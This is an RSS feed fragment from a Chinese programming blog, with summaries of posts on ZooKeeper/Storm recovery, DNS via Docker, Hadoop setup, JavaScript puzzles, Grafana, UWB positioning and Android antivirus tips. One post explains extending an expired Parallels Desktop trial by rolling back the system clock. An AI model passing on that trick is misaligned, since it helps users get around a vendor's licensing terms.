      <description>原因：&#xA;因为关闭storm集群时候用的kill，导致关闭异常！&#xA;解决方式： 删除zookeeper下的storm节点数据，重启zookeeper，重新发布topology到storm集群即可。 zk操作方式： 首先到zookeeper目录/bin下面，执行&#xA;./bin/zkCli.sh -server [ip]:[port]&#xA;./bin/zkCli.sh -server 192.168.0.10:2181&#xA;如果在本机且端口为默认的2181，可直接输入&#xA;./bin/zkCli.sh&#xA;然后输入命令：&#xA;ls /&#xA;显示&#xA;[zookeeper, storm]&#xA;执行命令删除：&#xA;rmr /storm</description>
    </item>
    <item>
      <title>魅族Android版本,魅族Flyme安卓版本</title>
      <link>https://bchobby.github.io/posts/8e4a1869a8b03c519d1ecb5573abc967/</link>
      <pubDate>Wed, 26 May 2021 07:43:19 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8e4a1869a8b03c519d1ecb5573abc967/</guid>
      <description>1月6日晚，负责Flyme方面的魅族副总杨颜在微博对锤子T1不会更新到安卓5.1的事件进行了调侃：“会玩！说的我都想让工程师把 Flyme 从 Android 5.1 上回退了。”并配图锤子社区的公告...&#xA;7月21日消息，魅族Flyme based on Android 10 首个内测版本已推送，本次推送机型：16s Pro、16s。16th Plus、16th目前仍存在异常重启问题未能如期发布，预计本周内推送，请耐心等待。其余机型&#xA;小窗模式2. 1 采用全新呼出方式，并扩展了小窗菜单，几乎适配了全部主流应用，能够主动呼出微信平行小窗。横屏下支持使用第三方输入法和悬浮键盘，看视频玩游戏也能尽情聊天。&#xA;在电动车领域，特斯拉一直备受关注，旗下的多款车型也成为很多消费者的最爱。 3 月 10 日上午，特斯拉CEO埃隆·马斯克在社交平台发文，庆祝特斯拉第 100 万辆车下线，这对特斯拉而言也是一个里程碑。&#xA;Flyme 8.0 稳定版在系统方面有多项功能调整，加入新春风格息屏显示、屏幕指纹解锁动画、锁屏界面农历显示、长重按 mBack 息屏等功能。在相机中加入后置摄像智能扫码，扫描、识别、跳转一步到位；自定义快捷菜单，将常用的模式拖动至首页，拍照更顺手。在图库中新增新春贴纸，把新年期许融合到自拍、合照中，拍照有更多乐趣。&#xA;11月12日消息，Flyme 8第一批机型稳定版已在陆续更新中，现在Flyme 8第二批机型稳定版先行试用招募正式开始。&#xA;根据魅族科技官方消息，Flyme 8 稳定版将于 11 月、12 月分批推送，共计适配 27 款机型。11 月 11 日，Flyme 8 稳定版陆续更新第一批机型，进入「系统更新」APP 即可检测更新。第一批机型包括：16s Pro、16s、16 X、16th Plus、16th、15 Plus、15、PRO 7 Plus、PRO 7 高配版、魅蓝 Note6。&#xA;​今天下午的魅族16T发布会上，魅族也宣布了新一代UI——Flyme 8，稳定版将从 11 月 11 日起开始推送。魅族16T今天会开始内测申请，稳定版 12 月份推送。&#xA;今天下午，魅族正式发布Flyme 8系统，官方Slogan为“轻若有灵”，采用了Alive Design的全新设计理念。&#xA;今天，全新 Flyme 7 体验版发布，多款机型支持升级 OneMind 3.</description>
    </item>
    <item>
      <title>android 病毒 装不了机,手机中毒不用慌！教你几招安卓手机怎么彻底的进行杀毒...</title>
      <link>https://bchobby.github.io/posts/e004a89b1e065134d86d2c77bc2a4b18/</link>
      <pubDate>Wed, 26 May 2021 05:11:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e004a89b1e065134d86d2c77bc2a4b18/</guid>
      <description>原标题：手机中毒不用慌！教你几招安卓手机怎么彻底的进行杀毒&#xA;手机如果中毒了，你知道要怎么彻底进行杀毒吗？今天我就和大家分享几个安卓手机彻底杀毒以及有效预防病毒的方法。&#xA;一、安卓手机彻底杀毒的方法&#xA;方法1：使用自带的手机管家&#xA;有部分安卓机的系统已经提供了手机管家，以OPPO手机为例，你只要点击打开该应用程序。&#xA;然后点击“病毒扫描”功能选项。&#xA;就可以自动扫描查杀病毒了，扫描结束后会给出相应的健康评估状态。哈哈，我的手机还是很健康的。&#xA;方法2：使用专业的手机杀毒软件&#xA;当然了，你也可以下载安装一个更加专业的手机杀毒软件，例如：腾讯手机管家、360手机卫士等等。&#xA;以360手机卫士为例，打开APP后直接点击选择“手机杀毒”。&#xA;然后点击“快速扫描”按钮，软件就会自动扫描手机设备了。&#xA;二、安卓手机杀毒的注意事项&#xA;1、杀毒前先关闭正在运行的程序&#xA;当软件处于运行状态下，手机杀毒软件很可能会直接跳过不检测，那这样病毒查杀是不彻底的。所以键大家在杀毒前先关闭真正运行的程序。&#xA;2、杀毒时要保持手机常亮&#xA;有些手机设置了自动锁屏功能，手机一旦被锁屏后，可能会导致软件查杀识别。所以建议在查杀软件的时候要保持手机常亮。&#xA;3、杀毒检测后提示有安全漏洞不要忽略不看&#xA;如果用软件查杀后，提示手机有安全漏洞，最好尽早修复，不要大意忽略不看。&#xA;三、手机如何预防病毒&#xA;1、安卓手机尽量不要root&#xA;手机root后，虽然用户可以获取更多的功能权限，但是也给病毒打开方便之门。&#xA;如果你想要移除root，可以在电脑上安装［强力一键root］，然后把安卓机连接到电脑，点击选择移除本机root即可。&#xA;2、不打开陌生链接及网页&#xA;如果有收到含陌生链接的短信，建议大家不要随意点击打开。陌生网页也是一样的道理，好奇心太重的朋友往往很容易中招。&#xA;3、到官方软件商店下载软件&#xA;官方软件站都会商店内的软件进行测试，一般上线的APP都是安全可以放心使用的。&#xA;责任编辑：</description>
    </item>
    <item>
      <title>你们要的Intellij IDEA 插件开发秘籍！</title>
      <link>https://bchobby.github.io/posts/f4f94dd8b59b324eb12e0369e00c6116/</link>
      <pubDate>Tue, 25 May 2021 23:30:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f4f94dd8b59b324eb12e0369e00c6116/</guid>
      <description> https://cloud.tencent.com/developer/article/1348741 </description>
    </item>
    <item>
      <title>CoolShell-第8题</title>
      <link>https://bchobby.github.io/posts/19c5d9ed6673af3da4f8ebfd8ef9669b/</link>
      <pubDate>Tue, 25 May 2021 22:29:06 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/19c5d9ed6673af3da4f8ebfd8ef9669b/</guid>
      <description>第8题地址：https://fun.coolshell.cn/953172864.html&#xA;大概是作进制转换就行，26进制，但是没有从0开始感觉很奇怪（Z相当于0，但是单独一个Z却表示26）。&#xA;上代码。&#xA;function excel2number(str) { var sum = 0; var weight = 1; for (var i = str.length - 1; i &amp;gt;= 0; --i, weight *= 26) { sum += (str.charCodeAt(i) - 64) * weight; } return sum; } var result = excel2number(&#34;COOLSHELL&#34;) / excel2number(&#34;SHELL&#34;); console.log(result); // 去掉小数 console.log(parseInt(result)); 计算结果是小数的，地址404。&#xA;去掉小数后，地址：https://fun.coolshell.cn/85165.html&#xA;好吧，要的是字符串。&#xA;function number2excel(num) { var result = &#34;&#34;; while (num &amp;gt; 0) { var r = num % 26; if (r == 0) { r = 26; } result = String.</description>
    </item>
    <item>
      <title>CoolShell-第6题</title>
      <link>https://bchobby.github.io/posts/4e9a046f3005e3c04b590295a77e1252/</link>
      <pubDate>Tue, 25 May 2021 22:28:38 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4e9a046f3005e3c04b590295a77e1252/</guid>
      <description>第六题地址：https://fun.coolshell.cn/tree.html&#xA;题目的意思是，为了了解下面这串东西加密了什么，你得找到这颗树的最深路径。&#xA;根据二叉树的定义，给出中序遍历和后序遍历，可以得知整棵树的完整结构。&#xA;用代码解决吧，还是JavaScript。&#xA;// 这棵树貌似没有重复节点，难度下降很多 // 1、根据后序遍历特性可知，根在最后一个元素 // 2、根据中序遍历特性可知，根前面打印的元素一定在左子树，根后面打印的元素一定在右子树 // 反复通过1和2推断，就能得到整棵树的结构 var inOrder = &#34;TbHVh3ogPWFLuAfGrm1xJ7we0iQYnZ8Kvqk9y5CNBD24UlcpIEMaj6SROXsdzt&#34;; var postOrder = &#34;TVHo3hPgbFfAumr7Jxew1YQi0ZnGLKy9kqvNDBC54clU28EIRS6jdsXOaMpWtz&#34;; function search(arr, target) { for (var i = 0; i &amp;lt; arr.length; ++i) { if (arr[i] == target) { return i; } } return -1; } function handle(inOrderStr, postOrderStr) { if (!inOrderStr) { return null; } var postOrderPosition = postOrderStr.length - 1; var val = postOrderStr[postOrderPosition]; var inOrderPosition = search(inOrderStr, val); var inOrderLeftStr = inOrderStr.</description>
    </item>
    <item>
      <title>5分钟搭建本地dns</title>
      <link>https://bchobby.github.io/posts/4f3c9c81c5dee5c1e08e921150826e3e/</link>
      <pubDate>Tue, 25 May 2021 20:15:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4f3c9c81c5dee5c1e08e921150826e3e/</guid>
      <description>title: 5分钟搭建本地dns&#xA;date:2021-05-29&#xA;tags: [dns]&#xA;category: linux 介绍 公司内部服务，如git、svn、jumpserver、maven、jenkins…等等。&#xA;由于过多就搭建了dns，原dns是通过linux的named实现，进行新增时太过于麻烦，需要将新的域名和ip手工写入到文件内，即使写了脚本也不便于管理。&#xA;而且最关键的是配置了转发上级dns，也会出现某些网站域名解析不到，比如qq邮箱、百度贴吧、好看视频等等。&#xA;sameersbn/bind 为了方便管理需要有以下条件&#xA;轻量级带图形化 通过寻找资料发现符合以上要求的sameersbn/bind，而且还是docker。&#xA;安装 主机ip: 172.16.6.210&#xA;因为是docker，所以得先装docker。&#xA;安装docke docker安装官方文档&#xA;docker-compose安装&#xA;为了方便启动使用docker-compose，需要用yaml文件，顺便附上yaml。&#xA;version: &#34;3.7&#34; services: bind: image: sameersbn/bind:9.16.1-20200524 restart: always networks: - dns-bind ports: - &#34;53:53&#34; - &#34;53:53/udp&#34; - &#34;10000:10000&#34; volumes: - /opt/dns-bind:/data environment: ROOT_PASSWORD: 123456 #这个web管理页面的账户密码。 networks: dns-bind: docker-compose -f /opt/bind.yml up -d #启动容器 web管理页面 容器启动完成后，在浏览器上输入url，url格式：https://172.16.6.210:10000/&#xA;用户：root&#xA;密码：“yaml文件上配置的”&#xA;添加dns转发&#xA;首先添加dns转发（私有dns），若不添加会导致无法解析其它域名。&#xA;这3个dns，分别是阿里云dns、百度dns、google dns，添加完后记得保存。 设置dns访问限制 Allow transfers from：允许辅助dns同步主dns zone的ip，any为所有Allow queries from：允许客户端访问dns服务的ip，any为所有。 添加域名 3.</description>
    </item>
    <item>
      <title>STM32从设置IO输入上下拉到寄存器GPIOx_BSRR、GPIOx_BRR</title>
      <link>https://bchobby.github.io/posts/b39eab04dcd2914f4985e153dc076f87/</link>
      <pubDate>Tue, 25 May 2021 17:23:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b39eab04dcd2914f4985e153dc076f87/</guid>
      <description>目录 1. 问题概述2. 标准库中查找3. GPIOx_BSRR和GPIOx_BRR端口位配置表 1. 问题概述 因为一些原因使用寄存器方式进行开发，设置IO状态时发现：&#xA;表格中10表示上拉/下拉输入模式，到底是上拉还是下拉呢？以往使用库方式开发没有关系过这个问题，现在使用寄存器方式开发，到底该如何设置上下拉？&#xA;表格中提到请参考表17端口位配置表，不过也可以先去标准库看一看，对照查看加深理解。&#xA;2. 标准库中查找 首先想到去标准库中对照看下是如何配置的。标准库中通过枚举定义出支持的IO模式：&#xA;/** * @brief Configuration Mode enumeration */ typedef enum { GPIO_Mode_AIN = 0x0, GPIO_Mode_IN_FLOATING = 0x04, GPIO_Mode_IPD = 0x28, GPIO_Mode_IPU = 0x48, GPIO_Mode_Out_OD = 0x14, GPIO_Mode_Out_PP = 0x10, GPIO_Mode_AF_OD = 0x1C, GPIO_Mode_AF_PP = 0x18 }GPIOMode_TypeDef; 可以看出上下拉是要区分配置的，然后查找函数&#xA;void GPIO_Init(GPIO_TypeDef* GPIOx, GPIO_InitTypeDef* GPIO_InitStruct)的定义，其中IO模式部分如下：&#xA;/* Reset the corresponding ODR bit */ if (GPIO_InitStruct-&amp;gt;GPIO_Mode == GPIO_Mode_IPD) { GPIOx-&amp;gt;BRR = (((uint32_t)0x01) &amp;lt;&amp;lt; pinpos); } else { /* Set the corresponding ODR bit */ if (GPIO_InitStruct-&amp;gt;GPIO_Mode == GPIO_Mode_IPU) { GPIOx-&amp;gt;BSRR = (((uint32_t)0x01) &amp;lt;&amp;lt; pinpos); } } 可以看出需要GPIOx_BSRR和GPIOx_BRR两个寄存器来具体配置上下拉。</description>
    </item>
    <item>
      <title>Parallels Desktop 16.5 M1使用到期的解决方法</title>
      <link>https://bchobby.github.io/posts/35fc8277672f45d646a40caed8cbc269/</link>
      <pubDate>Tue, 25 May 2021 17:08:58 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/35fc8277672f45d646a40caed8cbc269/</guid>
      <description>Parallels Desktop 16.5 M1使用到期怎么办？将mac的系统时间改为使用到期之前的时间即可：&#xA;就比如现在我的体验到期时间是2021-5-20号https://www.macv.com/news/357.html&#xA;接下来修改mac的当前系统时间，点击时间与日期&#xA;将当前时间改为到期日期之前时间，再去查看试用时间(现已变成3天，改时间大法还是依旧的稳)</description>
    </item>
    <item>
      <title>TypeError: Cannot read property ‘0‘ of null前台报错</title>
      <link>https://bchobby.github.io/posts/f97f992c204971eeffba7909289169ff/</link>
      <pubDate>Tue, 25 May 2021 17:00:48 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f97f992c204971eeffba7909289169ff/</guid>
      <description>报错详情：&#xA;主要原因是vue在异步调用时，渲染数据，出现数据原本为空的情况，&#xA;比如我这里：&#xA;解决方法是加一条v-if=&#34;xxx!=null&#34;即可；&#xA;另外：&#xA;这种情况也类似，要特别注意出现三重情况：&#xA;如果此篇文章有所帮助，希望点赞支持~</description>
    </item>
    <item>
      <title>谷歌相机android4,谷歌相机10.0版本 7.4.200.316937482 安卓版</title>
      <link>https://bchobby.github.io/posts/23b23180b92ba176d6afa2cebbccf592/</link>
      <pubDate>Tue, 25 May 2021 16:30:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/23b23180b92ba176d6afa2cebbccf592/</guid>
      <description>谷歌相机10.0版本是一款很棒的清晰的谷歌相机APP。谷歌相机10.0版本的相机功能很强大的，里面的相机拍摄的模式很丰富的，拍摄的相片也很清晰的，非常的适合现在的拍摄的风格的哟，好用可以来下载！&#xA;软件简介&#xA;谷歌的相机算法是集成在相机APP里面的，并非集成在系统里。&#xA;所以最近两年都有Android开发者不断移植谷歌相机，借此来让其他手机也能用上谷歌精良的相机算法。近日，XDA论坛就有开发者给我们带来了最新的华为专版谷歌相机，并已经开放了下载(下载链接在文末)。&#xA;根据这名开发者的介绍，这个移植版谷歌相机能够完美兼容华为Mate 10、Mate 10 Pro以及荣耀Play这三款新机。&#xA;此外，这个移植版除了集成了Pixel 3的相机算法之外，同样支持谷歌最新研发的Night Sight功能，能够带来极致的夜景效果。&#xA;软件功能&#xA;实时滤镜：自拍全手工调制的滤镜，让你的图片格调 Max！&#xA;创作壁纸：可以做壁纸的！你说，除了咱家，谁家的相机还带做壁纸的？&#xA;Emoji：深井冰的 Emoji 模彷秀，还可以做成动图发到微信&#xA;图片融合：深深太平洋里，浩瀚繁星。通过双色渐变让颜色富有层次，添加漏光和自定义渐晕，获得复古感觉！&#xA;软件特色&#xA;【优选滤镜】多名摄影师倾力巨献，精选多款超质感表现力滤镜，让你轻松拍出质感大片，带领社交圈拍照流行&#xA;【智能推荐】运用先进的AI场景识别技术，智能匹配适应当下场景的优选滤镜列表，让每一个场景的呈现都质感丰富与彰显动人色彩&#xA;【极速拍摄】拍照体验深入优化，即拍即存，记录每一刻绚烂，定格质感生活瞬间&#xA;【高清画质】拒绝低画质，拍照清晰度显著提升，尽显高清世界之美&#xA;更新日志&#xA;暂无更新</description>
    </item>
    <item>
      <title>修改Grafana 默认的 home Dashboards</title>
      <link>https://bchobby.github.io/posts/f07640277bb00be73752021b3257d199/</link>
      <pubDate>Tue, 25 May 2021 16:28:41 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f07640277bb00be73752021b3257d199/</guid>
      <description>Grafana 登陆以后默认展示的页面名称是 Home，这个页面是可以自己进行定义并且进行更改的，当我们使用 Grafana 构建了自己的可以观测分析平台的时候，我们希望对这个页面进行定制，更新成我们自己的样子。&#xA;为了达到这个问题，我们需要首先自定义一个我们喜欢的页面，这个页面定义好以后，我们就可以进行更改了。 更改这个页面，我们可以让所有人、特定的团队、个人来看到对应的页面。&#xA;全局 Home Dashboards 修改 有两种方式可以更改全局的 Home Dashboards&#xA;第一种 首选项修改 通过单击仪表板标题旁边的星号为该仪表板加星 在左侧菜单上，将光标停留在 Configuration (齿轮)图标上，然后单击 Preferences 。 首选项页面有 3 个指标可以进行修改，分别是 UI 主题、Home Dashboards、Timezone（时区），我们选择 Home Dashboards 进行修改，选择之前编辑好的 Dashboards，这里只显示加星的 Dashboards ，所以第一步要对 Dashboards 进行加星。 点击 Save 进行保存。 第二种 配置文件 将编辑好的 Dashboards 导出 json 文件，比如 home.json 登陆部署 Grafana 的机器，将该文件放置到预置的路径，比如 /etc/grafana/home.json 修改 Grafana 的配置文件 grafana.ini 修改 dashboards 部分如下 [dashboards] # Path to the default home dashboard. If this value is empty, then Grafana uses StaticRootPath + &#34;</description>
    </item>
    <item>
      <title>UWB技术是如何实现厘米级精度定位的~</title>
      <link>https://bchobby.github.io/posts/8d0e2b860eed5f763d85085024ded410/</link>
      <pubDate>Tue, 25 May 2021 15:12:30 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8d0e2b860eed5f763d85085024ded410/</guid>
      <description>一般来说，gps定位误差在300米左右，但是基于UWB技术的定位却能达到厘米级的误差范围，为什么UWB技术能实现这么高精准的定位呢？&#xA;ToF（Time of Flight） 飞行时间测距法&#xA;ToF为飞行时间测距法，通过测量脉冲信号从出发到返回的时间，乘以传播速度（脉冲信号在空气中的传播速度为定值v=30万KM/秒），得到往返一次的距离，除以2即为UWB定位标签到定位基站间的距离。&#xA;UWB定位基站的坐标已知，测得标签到基站距离后，通过三点定位法画3个圆，交点即为UWB定位标签的位置。&#xA;如上图所示：UWB定位基站的坐标分别为R1（x1、y1）、R2（x2、y2）、R3（x3、y3），基站R1、R2、R3在安装部署时位置固定且坐标已知，所求定位标签的坐标为Ro（xo、yo）。设定d1、d2、d3分别为3个定位基站与定位标签Ro之间通过信号的传播时间计算的相对距离，每个基站以相对距离为半径画一个圆形轨迹。利用三个圆形方程能够计算出唯一的交点，计算公式如下公式所示：&#xA;测距方法属于双向测距技术，它主要利用信号在标签和基站之间往返的飞行时间来测量节点间的距离。传统的测距技术分为双向测距技术和单向测距技术。ToF属于双向测距技术，而TDoA则是单向测距技术，只需要测量定位基站到定位标签之间的单程距离即可。&#xA;TDoA（Time Difference of Arrival） 到达时间差&#xA;TDoA定位是一种利用时间差进行计算的方法。精准的绝对时间相对较难测量，通过比较信号到达各个UWB定位基站的时间差，计算出信号到各个定位基站的距离差，就能作出以定位基站为焦点，距离差为长轴的双曲线，三组双曲线的交点就是定位标签的位置。&#xA;如上图所示：UWB定位基站的坐标分别为R1（x1，y1）、R2（x2，y2）、R3（x3，y3）、R4（x4，y4），基站R1、R2、R3、R4在安装部署时位置固定且坐标已知，所求定位标签的坐标为Ro（xo，yo）。脉冲信号的传播速度为常数v=30万km/秒，假设脉冲信号从标签O到达基站R1、R2、R3、R4的时间为t1、t2、t3、t4，分别以（R1、R4），（R2、R4），（R3、R4）做为焦点，定位标签Ro发送的信号到两基站间的距离差为常数，可以得到3组双曲线，双曲线的交点即是定位标签O的坐标。求解坐标（xo，yo）的方程组如下公式所示：&#xA;不同于ToF的是，TDoA是通过检测信号到达两个基站的时间差，而不是到达的绝对时间来确定移动台的位置，因此降低了系统对时间同步的要求。TDoA算法是对ToF算法的改进，与ToF算法相比，不需要加入专门的时间戳，定位精度也有所提高。&#xA;乾坤物联正是基于UWB技术原理，开发的UWB定位技术产品定位精度最高可达10cm，通过软件配合，可实现人员轨迹和资产位置可视化，帮助企业实现物联网，智慧管理目标。&#xA;引自http://www.qiankuniot.com/xw3.html</description>
    </item>
    <item>
      <title>成功解决 error: no match for ‘operator*’ (operand types are ‘SO3’ and ‘Eigen::Quaternion＜double＞’)</title>
      <link>https://bchobby.github.io/posts/b5679eed5e0dd220dcd8bb4ded7e2234/</link>
      <pubDate>Tue, 25 May 2021 14:16:11 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b5679eed5e0dd220dcd8bb4ded7e2234/</guid>
      <description>error: no match for ‘operator*’ (operand types are ‘SO3’ and ‘Eigen::Quaternion’)&#xA;SO3 q_u = q_T * plane_c.inverse();&#xA;查看源码中的重载代码，执行operator*操作的两数据类型都是SO3，所以数据类型冲突，更改数据类型。</description>
    </item>
    <item>
      <title>Linux重器hadoop压缩包,Linux下安装Hadoop(2.7.1)详解及WordCount运行</title>
      <link>https://bchobby.github.io/posts/2d7c7347ad55995a5fab27c8e1099518/</link>
      <pubDate>Tue, 25 May 2021 14:08:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2d7c7347ad55995a5fab27c8e1099518/</guid>
      <description>一、引言&#xA;在完成了Storm的环境配置之后，想着鼓捣一下Hadoop的安装，网上面的教程好多，但是没有一个特别切合的，所以在安装的过程中还是遇到了很多的麻烦，并且最后不断的查阅资料，终于解决了问题，感觉还是很好的，下面废话不多说，开始进入正题。&#xA;本机器的配置环境如下：&#xA;Hadoop(2.7.1)&#xA;Ubuntu Linux(64位系统)&#xA;下面分为几个步骤来详解配置过程。&#xA;二、安装ssh服务&#xA;进入shell命令，输入如下命令，查看是否已经安装好ssh服务，若没有，则使用如下命令进行安装：&#xA;sudo apt-get install ssh openssh-server&#xA;安装过程还是比较轻松加愉快的。&#xA;三、使用ssh进行无密码验证登录&#xA;1.创建ssh-key，这里我们采用rsa方式，使用如下命令：&#xA;ssh-keygen -t rsa -P &#34;&#34;&#xA;2.出现一个图形，出现的图形就是密码，不用管它&#xA;cat ~/.ssh/id_rsa.pub &amp;gt;&amp;gt; authorized_keys(好像是可以省略的)&#xA;3.然后即可无密码验证登录了，如下：&#xA;ssh localhost&#xA;成功截图如下：&#xA;四、下载Hadoop安装包&#xA;下载Hadoop安装也有两种方式&#xA;2.使用shell进行下载，命令如下：&#xA;wget http://mirrors.hust.edu.cn/apache/hadoop/core/stable/hadoop-2.7.1.tar.gz&#xA;貌似第二种的方法要快点，经过漫长的等待，终于下载完成。&#xA;五、解压缩Hadoop安装包&#xA;使用如下命令解压缩Hadoop安装包&#xA;tar -zxvf hadoop-2.7.1.tar.gz&#xA;解压缩完成后出现hadoop2.7.1的文件夹&#xA;六、配置Hadoop中相应的文件&#xA;需要配置的文件如下，hadoop-env.sh，core-site.xml，mapred-site.xml.template，hdfs-site.xml，所有的文件均位于hadoop2.7.1/etc/hadoop下面，具体需要的配置如下：&#xA;1.core-site.xml 配置如下：&#xA;hadoop.tmp.dir&#xA;file:/home/leesf/program/hadoop/tmp&#xA;Abase for other temporary directories.&#xA;fs.defaultFS&#xA;hdfs://localhost:9000&#xA;其中的hadoop.tmp.dir的路径可以根据自己的习惯进行设置。&#xA;2.mapred-site.xml.template配置如下：&#xA;mapred.job.tracker&#xA;localhost:9001&#xA;3.hdfs-site.xml配置如下：&#xA;dfs.replication&#xA;1&#xA;dfs.namenode.name.dir&#xA;file:/home/leesf/program/hadoop/tmp/dfs/name&#xA;dfs.datanode.data.dir&#xA;file:/home/leesf/program/hadoop/tmp/dfs/data&#xA;其中dfs.namenode.name.dir和dfs.datanode.data.dir的路径可以自由设置，最好在hadoop.tmp.dir的目录下面。&#xA;补充，如果运行Hadoop的时候发现找不到jdk，可以直接将jdk的路径放置在hadoop.env.sh里面，具体如下：</description>
    </item>
    <item>
      <title>JavaScript武力值飙升！用TensorFlow.js轻松实现在浏览器里搞深度学习......</title>
      <link>https://bchobby.github.io/posts/dd26cc5279599310cebeeeb11d383d97/</link>
      <pubDate>Tue, 25 May 2021 11:50:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/dd26cc5279599310cebeeeb11d383d97/</guid>
      <description>近年来，AI 与人类的生活越来越紧密，慢慢变得无处不在。那么提到 AI ，我们会想到什么？小编最先想到的是机器人。早在小学作文中，我就写到 2021 年到处都是机器人，机器人汽车到处飞。结果 2021 年到来，这个想象的场景也没有实现。不过，虽然 2021 年还没有那么高科技，但是 AI 早已经渗透到我们的生活，无处不在，并且 AI 也使我们的生活变得更加丰富和便利。&#xA;举个我自己的例子，我原来很喜欢买口红，买口红之前都要试色，后来疫情来了，商场人多地方远，试口红又很不卫生，我就再也不敢试了。但是想买口红不试色的话怎么知道合不合适自己呢？后来我发现在浏览器中输入想买的口红品牌，在品牌官网里可以虚拟化妆，只要上传自己的照片，再点击想要的口红，自己的嘴唇就会变成口红的颜色，通过这种方式就可以找到自己合适的色号，买到喜欢的口红了。下面看一下我的实验效果。&#xA;（上图是小编的照片，下图是通过虚拟化妆改变唇色的图片）&#xA;虽然 520 已经过去了几天，但是每天都可以过成情人节。如果有的小哥哥想给女朋友偷偷买口红准备惊喜，又怕买到死亡色号被打的话，不防试试这个方法，可以有效降低被打概率（开个玩笑）。&#xA;前一段时间，谷歌推出了一款新的人工智能的试验网站叫“Move Mirror”，只需要你拥有装有网络摄像头的电脑或者手机，你就可以在 Web 浏览器中体验。当你对着电脑网络摄像头移动，只需 15 ms，电脑就会从收集的 8 万多张图片中调出与你相匹配的姿势图片（小编感觉很神奇）。&#xA;(本图出自谷歌官方，网址请见https://experiments.withgoogle.com/move-mirror）&#xA;那么有的朋友可能会好奇，“虚拟化妆” “Move Mirror” 都是用到了什么技术得以实现呢？其实这要归功于 TensorFlow.js——一个允许在浏览器中运行机器学习项目的 JavaScript 库。那么又有小伙伴会问，机器学习领域的大部分项目采用的都是传统的后端编程语言，为什么要把 JavaScript 与深度学习结合起来呢？&#xA;1. JavaScript 与深度学习结合的原因&#xA;因为在浏览器环境中用 JavaScript 进行深度学习有它独特的优势，相比后端编程语言也可以创造更多独特的机会。首先，Web 浏览器很灵活和易用，Web 浏览器拥有展示文本数据、图像数据、音频数据和视频数据的最全面的技术和API，所以用它来部署深度学习模型是很合理的选择。第二，相比而言，Web 浏览器的服务器开销更少。第三，客户端推断会将数据和计算都放在设备上，所以 Web 浏览器有更低的推断延迟。&#xA;另外，Web 浏览器可以保护客户数据隐私。比如上面提到的 “虚拟化妆” 和 “Move Mirror”，在使用过程中，可能有朋友会担心自己的照片被泄露，或者有的人想做一些夸张搞笑的动作玩得有意思一点，但是出于隐私怕被泄露而不敢尝试。其实所有的图像都在浏览器中生成，数据无须离开用户的手机，甚至无须存储下来，所以完全不用担心。&#xA;再者，Web 浏览器可以即时 GPU 加速，获得足够的算力。基于 WebGL 的神经网络加速，可以让 “Move Mirror” 里利用 PoseNet 从图像中提取人体姿态这样的实时推断成为可能。此外，还有可以随时使用，可以在各种生态的设备上运行，在数据可视化和互动方面丰富且成熟等优势。&#xA;2. 用 TensorFlow.js 库的原因</description>
    </item>
    <item>
      <title>力扣解题思路：面试题 16.26. 计算器 纠错记录</title>
      <link>https://bchobby.github.io/posts/b8e47d840459e6d71aab414e82438597/</link>
      <pubDate>Tue, 25 May 2021 09:03:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b8e47d840459e6d71aab414e82438597/</guid>
      <description>面试题 16.26. 计算器 思路：&#xA;先看错误答案：&#xA;public int calculate(String s) { Stack&amp;lt;Integer&amp;gt; stack = new Stack&amp;lt;&amp;gt;(); char sign = &#39; &#39;; int i = 0; int res = 0; while(i &amp;lt; s.length()){ while(i &amp;lt; s.length() &amp;amp;&amp;amp; Character.isDigit(s.charAt(i))){ res = res*10 + (s.charAt(i++) - &#39;0&#39;); } if (i == s.length() || (!Character.isDigit(s.charAt(i)) &amp;amp;&amp;amp; s.charAt(i) != &#39; &#39;)) { if (sign == &#39;+&#39;) stack.push(stack.pop() + res); else if (sign == &#39;-&#39;) stack.push(stack.pop() - res); else if (sign == &#39;*&#39;) stack.</description>
    </item>
    <item>
      <title>3.5-点云配准基本数学原理</title>
      <link>https://bchobby.github.io/posts/06cc1c7e317982957da886bd31549dd4/</link>
      <pubDate>Mon, 24 May 2021 20:10:15 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/06cc1c7e317982957da886bd31549dd4/</guid>
      <description>返回 &amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt; PCL-3D点云总目录&#xA;概念基础 三维点云的配准即是通过对点云的旋转、平移进行对齐，进而得到一个4x4的变换矩阵，包含3x3的旋转矩阵和3x1的平移向量。旋转矩阵可以通过罗格里格斯变换成一个1x3的旋转向量，故而最终是6个变量。&#xA;常用的点云配准算法是：迭代最近点算法(ICP)，正态分布变换配准(NDT)，基于特征不变性的配准 (ORB/FPFH/NARF)&#xA;其他演变算法及不同思路算法：&#xA;ICP拓展：稳健ICP、point to plane ICP、point to line ICP、MBICP、GICP&#xA;NDT拓展：NDT 3D、Multil-Layer NDT&#xA;其他：4PCS、Super-4PCS、FPCS、KFPSC、SAC-IA、Line Segment Matching、ICL&#xA;ICP求解：四元数求解获得旋转矩阵、协方差矩阵求解SVD获得旋转矩阵&#xA;KD tree优化&#xA;NDT：probability density functions：PDF概率密度函数&#xA;矩阵：正交矩阵，协方差矩阵、雅克比矩阵、黑塞矩阵&#xA;概率统计：方差，标准差，正态分布，均匀分布&#xA;迭代最近点算法(ICP) 本例我们讲解基于奇异值分解（SVD）的方法求解迭代最近点算法（ICP）。目的是匹配两个点云集合。算出他们之间的变换关系。&#xA;除此之外还有基于四元数求解ICP。&#xA;求解步骤 1、求最大化目标函数&#xA;2、矩阵进行SVD奇异值分解&#xA;3、正定矩阵迹的性质&#xA;4、根据迹性质得出目标函数最大化时R的解&#xA;5、ICP结果注意&#xA;正态分布变换配准(NDT) NDT表示目标表面 